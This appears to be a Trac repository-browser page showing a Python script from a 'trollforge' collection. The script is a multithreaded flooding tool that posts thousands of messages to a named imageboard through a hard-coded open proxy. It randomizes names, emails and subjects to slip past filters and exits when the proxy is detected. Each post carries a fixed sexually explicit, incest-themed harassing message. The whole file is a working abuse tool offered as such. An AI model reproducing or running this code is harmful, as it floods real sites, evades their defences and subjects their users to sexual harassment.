source: trollforge/dsp-trollforge/0chan/0crape.py @ 41

Revision 41, 1.6 KB checked in by sam, 8 years ago (diff)
  • DSP's trollforge snapshot.
  • Property svn:keywords set to Id
Line 
1from random import choice, randrange
2import string
3from sys import exit
4import threading
5import urllib
6
7#boards = [ 'a', 'b', 'c', 'd', 'f', 'h', 'l', 'p', 'r', 's', 't', 'u', 'w']
8numposts = 0
9
10def rndchars(x):
11    str = ""
12    for i in range(randrange(x, x + 3)):
13        str = str + choice(string.letters).lower()
14    return str
15
16class Flood(threading.Thread):
17
18        def run(self):
19
20                global numposts
21
22                board = 'w'
23                proxy = '24.45.25.174:81'
24
25                for blah in range(1000):
26
27                        ## flood a random board
28                        #board = choice(boards)
29
30                        self.opendev = urllib.FancyURLopener({'http': 'http://' + proxy})
31                        self.par = urllib.urlencode({
32                                'mode': 'regist',
33                                'MAX_FILE_SIZE': '512000',
34                                'name': rndchars(6),
35                                'email': rndchars(5) + '@' + rndchars(6) + '.net',
36                                'sub': rndchars(10),
37                                'com': 'Think about your parents fucking while you wank to this shit.\nCock into cunt! Cock into cunt!\n\nYour mother groaning and squealing while your dad pounds her arsemeat!\n\npropz to efnet #vuln and @ecoli!\n\n' + rndchars(30),
38                                'textonly': 'on'
39                        })
40
41                        try:
42                                self.f = self.opendev.open('http://www.0chan.net/' + board + '/imgboard.php', self.par)
43                                self.str = self.f.read(10000)
44                        except:
45                                print 'Post attempt fucked up lol'
46                                continue
47
48                        if self.str.find('Proxy detected on ') != -1:
49                                print 'This is a known proxy.'
50                                exit(0)
51
52                        numposts += 1
53                        if not (numposts % 10) or (numposts == 1):
54                                print 'Post attempt #' + str(numposts) + ' (' + board + ')'
55
56threads = [ ]
57
58for i in range(6):
59        newflood = Flood()
60        threads.append(newflood)
61
62for thread in threads:
63        thread.start()
Note: See TracBrowser for help on using the repository browser.